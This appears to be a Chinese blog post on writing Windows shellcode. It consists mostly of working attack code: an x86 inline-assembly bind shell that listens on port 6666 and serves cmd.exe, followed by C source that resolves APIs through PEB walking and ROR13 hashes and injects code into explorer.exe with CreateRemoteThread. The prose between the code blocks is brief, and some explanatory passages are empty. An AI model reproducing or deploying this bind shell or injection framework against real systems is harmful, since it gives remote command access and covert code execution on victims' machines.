CLD //存储hash push 0x01971eb1 //accept push 0x4bd39f0c //listen push 0xdda71064 //bind push 0xde78322d //WSASocket push 0x80b46a3d //WSAStartup //----------------------以上是ws2_32.dll中的函数 push 0x0c917432 //load push 0x6ba6bcc9 //createProcessA push 0x4fd18963 //ExitProcess //-----------------------以上是kernel32.dll导出的函数 mov esi,esp //esi = hash list 的顶 exitprocess lea edi,[esi + 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置 xor ebx,ebx mov bh,0x05 sub esp,ebx //抬高堆栈 500h 保护 hash list mov bx,0x3233 //2 3 push ebx push 0x5F327377 //_ 2 s w push esp //ebp = "ws2_32" xor edx,edx mov ebx,fs:[edx+0x30] //peb addr mov ecx,[ebx + 0x0c] // ldr addr mov ecx,[ecx + 0x1c] // list frist push edi push esi next_module: mov ebp,[ecx+0x08] mov edi,[ecx+0x20] mov ecx,[ecx] cmp [edi + 12*2],dx jne next_module pop esi pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax cmp eax,0x80b46a3d //zhenw0 jne find_functions //如果 要查找accept的hash时 要切换dll了 xchg ebp,eax call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址 xchg ebp,eax find_functions: pushad mov eax,[ebp+0x3c] mov ecx,[ebp+eax+0x78] add ecx,ebp mov ebx,[ecx+0x20] add ebx,ebp xor edi,edi next_function_loop: inc edi //zai exp 表中查找 函数 mov esi,[ebx+edi*4] add esi,ebp cdq hash_loop: //计算hash movsx eax,byte ptr[esi] cmp al,ah jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至 ror edx,7 //右移7 add edx,eax // inc esi jmp hash_loop compare_hash: cmp edx,[esp+0x1c] jnz next_function_loop mov ebx,[ecx+0x24] add ebx,ebp mov di,[ebx+2*edi] mov ebx,[ecx+0x1c] add ebx,ebp add ebp,[ebx +4*edi] xchg eax,ebp pop edi stosd push edi popad cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了 jne find_lib_functions function_call: //函数都找到了 开始 scoket了 add esi,0x0c //mov eax,[esi] //--------------------------------------------------wsastartup(dword,lpwsadata) //std //std push esp push 0x02 lodsd call eax // eax = 0 可以使用eax填充数据 //-------------------------------------------------WSASocketA(af,type ...) mov ecx,0x50 mov edi,esp rep stosd inc eax //eax = 1 push eax inc eax push eax lodsd call eax xchg ebp,eax // ebp = socket handle //--------------------------------------------------------bind mov eax,0x0a1aff02 xor ah,ah push eax push esp call_loop: // bind() listen() accept() dou zai zhe li push ebp lodsd call eax test eax,eax jz call_loop //初始化,startpinfo inc byte ptr [esp+0x2d] lea edi,[esp+0x38] stosd stosd stosd pop eax push esp push esp push eax push eax push eax push esp push eax push eax //int 3 //////////cmd mov dword ptr [esi],0x646d63 push esi /////////////// push eax call [esi-0x1c] call [esi-0x20]
以上是vc内联的一个bindshell的x86的shellcode,这个shellcode会监听6666端口,并返回一个cmd的shell。这个代码来自于0day安全第二版中的例子,我已经修复了其中的几处问题。这个代码我用了大约2周的闲暇时间整理分析,当时给我的感觉就是太博大精深了,只有感叹。感叹汇编代码好难,好难看懂。
为了获取si.dwFlags值和dwFlags的偏移值,我们要这样获取

为了获取si中的hStdInput元素的偏移值,我们这样获取
从上面的例子暴露出汇编编码shellcode的几个问题
1. 必须熟练掌握并能使用win32汇编,门槛高,开发效率低下,公用性差
2. 偏移量和某些定义值,得借助文档或者其他手段获取
3. 以上是win32的shellcode,如果用于x64进程中,必须重新开发一套
4. 微软不对vc x64模式下提供内联汇编的支持。
汇编编写的shellcode虽然缺点不少,其实它也有它优点
1.完全由自己实现,很多地方可以灵活实现
2.代码大小可以做到极致
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <wchar.h>
#include <tlhelp32.h>
PPEB get_peb(void);
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
DWORD __stdcall ror13_hash(const char *string);
HMODULE __stdcall find_module_by_hash(DWORD hash);
HMODULE __stdcall find_kernel32(void);
FARPROC __stdcall find_function(HMODULE module, DWORD hash);
HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
BOOL __stdcall strmatch(const char *a, const char *b);
void __stdcall shell_code()
{
HMODULE kern32;
DWORD *dwptr;
HANDLE hProcess;
char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
char code[] = {0xEB, 0xFE};
kern32 = find_kernel32();
hProcess = find_process(kern32, (char *)procname);
inject_code(kern32, hProcess, code, sizeof code);
}
HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
{
FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
FARPROC process32first = find_function(kern32, 0x3249BAA7);
FARPROC process32next = find_function(kern32, 0x4776654A);
FARPROC openprocess = find_function(kern32, 0xEFE297C0);
FARPROC createprocess = find_function(kern32, 0x16B3FE72);
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
pe32.dwSize = sizeof( PROCESSENTRY32 );
if (!process32first(hSnapshot, &pe32))
return INVALID_HANDLE_VALUE;
do
{
if (strmatch(pe32.szExeFile, procname))
{
return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
}
} while (process32next(hSnapshot, &pe32));
return INVALID_HANDLE_VALUE;
}
BOOL __stdcall strmatch(const char *a, const char *b)
{
while (*a != '' && *b != '')
{
char aA_delta = 'a' - 'A';
char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;
char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;
if (a_conv != b_conv)
return FALSE;
a++;
b++;
}
if (*b == '' && *a == '')
return TRUE;
else
return FALSE;
}
VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
{
FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
LPVOID remote_buffer;
DWORD dwNumBytesWritten;
remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remote_buffer == NULL)
return;
if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
return;
createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
}
HMODULE __stdcall find_kernel32(void)
{
return find_module_by_hash(0x8FECD63F);
}
HMODULE __stdcall find_module_by_hash(DWORD hash)
{
PPEB peb;
LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
peb = get_peb();
module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
first_mod = module_ptr;
do {
if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
return (HMODULE)module_ptr->Reserved2[0];
else
module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
} while (module_ptr && module_ptr != first_mod); // because the list wraps,
return INVALID_HANDLE_VALUE;
}
PPEB __declspec(naked) get_peb(void)
{
__asm {
mov eax, fs:[0x30]
ret
}
}
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
DWORD hash = 0;
while (*unicode_string != 0)
{
DWORD val = (DWORD)*unicode_string++;
hash = (hash >> 13) | (hash << 19); // ROR 13
hash += val;
}
return hash;
}
DWORD __stdcall ror13_hash(const char *string)
{
DWORD hash = 0;
while (*string) {
DWORD val = (DWORD) *string++;
hash = (hash >> 13)|(hash << 19); // ROR 13
hash += val;
}
return hash;
}
FARPROC __stdcall find_function(HMODULE module, DWORD hash)
{
IMAGE_DOS_HEADER *dos_header;
IMAGE_NT_HEADERS *nt_headers;
IMAGE_EXPORT_DIRECTORY *export_dir;
DWORD *names, *funcs;
WORD *nameords;
int i;
dos_header = (IMAGE_DOS_HEADER *)module;
nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
names = (DWORD *)((char *)module + export_dir->AddressOfNames);
funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
for (i = 0; i < export_dir->NumberOfNames; i++)
{
char *string = (char *)module + names[i];
if (hash == ror13_hash(string))
{
WORD nameord = nameords[i];
DWORD funcrva = funcs[nameord];
return (FARPROC)((char *)module + funcrva);
}
}
return NULL;
}
void __declspec(naked) END_SHELLCODE(void) {}
int main(int argc, char *argv[])
{
FILE *output_file = fopen("shellcode.bin", "w");
fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
fclose(output_file);
return 0;
}
#if defined(_WIN64) PebAddress = (PPEB) __readgsqword( 0x60 ); #elif defined(_M_ARM) // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes // necessary to get the PEB.Ldr address PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0); __emit( 0x00006B1B ); #else PebAddress = (PPEB) __readfsdword( 0x30 ); #endif